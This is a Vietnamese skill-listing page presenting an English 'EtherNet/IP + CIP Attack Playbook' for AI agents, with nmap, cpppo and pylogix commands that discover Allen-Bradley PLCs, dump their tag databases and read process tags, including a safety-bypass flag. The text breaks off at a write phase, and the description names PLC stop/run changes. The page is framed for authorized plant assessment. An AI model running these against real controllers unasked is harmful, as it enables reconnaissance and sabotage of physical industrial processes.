enip-cip
Skill này làm gì
Hướng dẫn này nói về kiểm tra bảo mật cho EtherNet/IP và CIP, phổ biến ở các nhà máy Bắc Mỹ và bộ điều khiển Rockwell. Dành cho đội bảo mật nhà máy làm việc có phê duyệt bằng văn bản.
Khi nào nên dùng
- ✓Khi một đánh giá nhà máy được ủy quyền cần liệt kê các thiết bị EtherNet/IP và danh tính của chúng.
- ✓Khi bạn muốn kiểm tra xem bộ điều khiển có để lộ danh sách tag ra mạng không.
- ✓Khi một nhóm cần bản kiểm kê chỉ đọc các bộ điều khiển công nghiệp.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể giúp tôi lập bản kiểm kê chỉ đọc các bộ điều khiển Rockwell của chúng tôi và kiểm tra cái nào phản hồi trên mạng không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent gửi yêu cầu nhận diện và khám phá, liệt kê các bộ điều khiển phản hồi và báo cáo những gì mỗi bộ để lộ. Thao tác ghi và đổi chế độ bị loại trừ, trừ khi phê duyệt bằng văn bản có bao gồm chúng.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)
EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.
SAFETY FIRST
CIP write operations (Write() on tags) and mode-change commands (Stop, Run, Reset) affect physical process equipment. A mode-change to Stop immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.
Prerequisites
# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix
# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo
# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24
Phase 1 — Discover
UDP 2222 List Identity broadcast
UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.
# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5
# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
# 'product_code': 166, 'revision': {'major': 33, 'minor': 11},
# 'serial_number': '0xA1B2C3D4', 'status': 12340}
# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State
# pylogix PLC info — TCP 44818
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
info = comm.GetPLCTime()
print("PLC time:", info.Value)
props = comm.GetModuleProperties(0)
print("Module:", props.Value)
Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)
ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Enumerate all controller-scoped tags
tags = comm.GetTagList()
print(f"[*] Found {len(tags.Value)} controller tags")
for tag in tags.Value:
print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")
# Enumerate program-scoped tags (programs inside the controller)
programs = comm.GetProgramList()
for prog in programs.Value:
prog_tags = comm.GetProgramTagList(prog)
print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
for tag in prog_tags.Value:
print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}")
Tag names are often self-describing in production environments:
PumpStation_1.RunCmd— pump run command coilValve_FV_101.OpenCmd— valve open commandReactor_TIC_201.SP— temperature setpointSafety_SIL2.BypassActive— safety interlock bypass flag
Phase 3 — Read tags
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
# Read a single tag
result = comm.Read("PumpStation_1.RunCmd")
print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})")
# Read multiple tags in one request (efficient)
tag_list = [
"Reactor_TIC_201.SP",
"Reactor_TIC_201.PV",
"Valve_FV_101.OpenCmd",
"Safety_SIL2.BypassActive",
]
results = comm.Read(tag_list)
for r in results:
print(f" {r.TagName} = {r.Value} Status={r.Status}")
# Read array elements
array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0
print("Recipe[0:10]:", array_result.Value)
Phase 4 — Write tags (SAFETY GATE — write-class authorization required)
STOP. Confirm written scope authorization before this phase. Writing process control tags may energize/de-energize
Câu hỏi thường gặp
EtherNet/IP có phổ biến không?
Hướng dẫn gọi đây là giao thức chủ đạo trong điều khiển công nghiệp ở Bắc Mỹ.
Vì sao xác thực là mối lo?
Hướng dẫn cho biết nhiều triển khai không có xác thực ở tầng CIP.
Quy tắc an toàn là gì?
Việc đổi chế độ và ghi dữ liệu có thể dừng hoặc thay đổi quá trình vật lý, nên cần phê duyệt bằng văn bản.
Chi tiết
Mô tả gốc của tác giả
EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14037
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.